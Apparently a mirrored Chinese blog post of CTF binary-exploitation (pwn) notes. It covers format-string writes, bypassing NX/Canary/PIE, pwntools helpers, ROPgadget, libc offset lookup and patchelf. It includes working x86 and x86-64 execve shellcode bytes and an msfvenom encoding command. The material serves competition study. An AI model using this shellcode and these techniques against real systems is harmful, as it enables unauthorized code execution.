6

CTF Pwn 的杂项笔记

 2 years ago
source link: https://kiprey.github.io/2020/04/pwn/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这里是笔者记录的一些内容较少、不便于整理出一篇博客的Pwn杂项知识点。

1. docker 使用 - 使用手册

  1. 格式化字符串

    // %lln 四字 / %ln 双字 / %hn 单字 / %hhn 字节
    printf("%(n-1)$[format]"); // -> 第n个参数
    printf("%{n-1}$n"); // -> 将输出的字符个数写入第n个参数
    printf("%nc"); // -> 输出对应参数n个字符

3. 绕过防护的手段

  1. NX ------ 使用 ROPgadget 搜索可利用的小片段代码
  2. Canary – 读取 Canary 值并在 payload 中使用
  3. PIE ------ 由于相对偏移量不变,尝试泄露出任意一个基地址即可绕过

4. pwntools - docs

  1. DynELF 类 - 用于泄露 libc - docs

    1. 注意:构建leak函数时,必要时刻需要重置栈
      防止因为部分关键数据被覆盖而导致leak失败陷入死循环

  2. Fmtstr 类 - 对 printf 漏洞构造恶意 format - docs

    1. 较常使用的功能是
      fmtstr_payload(offset,{address:data}, numbwritten=0, write_size=’byte’)

      第一个参数 offset 是第一个可控的栈偏移(不包含格式化字符串参数)
      第二个字典看名字就可以理解,
      numbwritten 是指 printf 在格式化字符串之前输出的数据,比如 printf(“Hello [var]”),此时在可控变量之前已经输出了“Hello ”共计六个字符,应该设置参数值为 6。
      第四个选择用 %hhn(byte),%hn(word)还是%n(dword).在我们的例子里就可以写成 fmtstr_payload(5, {printf_got:system_plt})

  3. shellcraft 类 - shellcode 生成器

    1. 使用前需先指定平台

      context(os="linux", arch="amd64", bits=64)
  4. 部分函数声明

    1. log
      1. log.success()
      2. log.info()
      3. log.error()
      4. log.failure()
      5. context.level = ‘debug’/‘error’
    2. p64(int) —— 传入值,传出 bytes
    3. u64(bytes) —— 与 p64 相反
    4. ELF(elf_path_str) —— 读取 ELF 文件(可执行文件,.so 共享库…)
    5. process(path_str) —— 执行传入文件路径上的程序
    6. remote(ip_str, port_int)` —— 传入格式为字符串的 ip 地址,以及格式为值的端口,连接并得到 IO 对象
    7. send(bytes) —— 发送数据,不带 0x0A
    8. sendline(bytes) —— 发送数据,结尾带 0x0A(’\n’)
    9. recv(int) —— 参数可选,接收 n 个字节的数据
    10. recvline() —— 接收数据,在没有接收到换行符的情况下一直阻塞
    11. recvuntil(Str) —— 一直读取输出的信息,直到读取到传入的字符串
  5. 有时候可能会因为缓冲区的问题阻塞一部分数据,加上 sleep 调整可能会得到改善

5. One_gadget - github

6. ROPgadget

  1.  # 查找字符串
     ROPgadget --binary ./pwn --string "/bin/sh"
     # 查找全部的gadget,并通过管道将信息发送到grep进行筛选
     ROPgadget --binary ./pwn1_64 | grep "pop rdi"
     #筛选出有pop或ret的片段
     ROPgadget --binary ./pwn1_64 --only "pop|ret"
     
    2. > 注意:构建超长ROP链时,必要时刻需要重置栈  
    > 防止因为部分关键数据被覆盖而导致调用syscall的函数无法使用
    > 例子: hgame2020 ROP_LEVEL0 构建 open-read-puts 链

    ## 7. GDB

    ```bash
    #输出system函数的内存地址
    gdb-peda$ print system
    #显示某个地址上的值,x表示examine,s表示string
    db-peda$ x/s 0x7FFFF7F7ECEE

8. libc 相关

  1. glibc-all-in-one

  2. pwn 题给出的 libc.so

    1. 可用于得到 system 函数和"/bin/bash"相对于库基址的偏移量
    2. 在程序中得到某个函数泄露出的地址之后,例如 write 函数的 GOT 地址,即可通过偏移量调用 system("/bin/bash")
  3. libc-database : 通过某些函数的地址来查询 libc 的版本 - 在线工具

  4. 更换加载的 libc.so

    1. patchelf 手册页

      patchelf --set-interpreter <libc_ld> <elf_name> # 设置链接器
      patchelf --set-rpath <libc_parent_folder>:/<libc_name> <elf_name>
      # patchelf --add-needed # 添加libc.so
      # patchelf --replace-needed # 替换libc.so
    2. 关于不同版本 glibc 强行加载的方法

    注意,更换使用的libc时,一定要同时更换对应版本的ld.so链接器,否则会无法正常使用libc而导致段错误

9. shellcode

  1. shellcode 数据库

  2. 常用 shellcode

    // Linux x86-64 29 bytes
    char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
    // Linux x86 21 bytes
    char shellcode[] =
    "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
  3. 生成特定格式的 shellcode - msfven

    python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' |  msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o output.txt

10. Linux Syscall Reference

  1. x86

    int execve(const char *pathname, char *const argv[], char *const envp[]);
    sys_exec : eax = 0xB, ebx = path_str_addr, ecx = NULL, edx = NULL

  2. x64

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK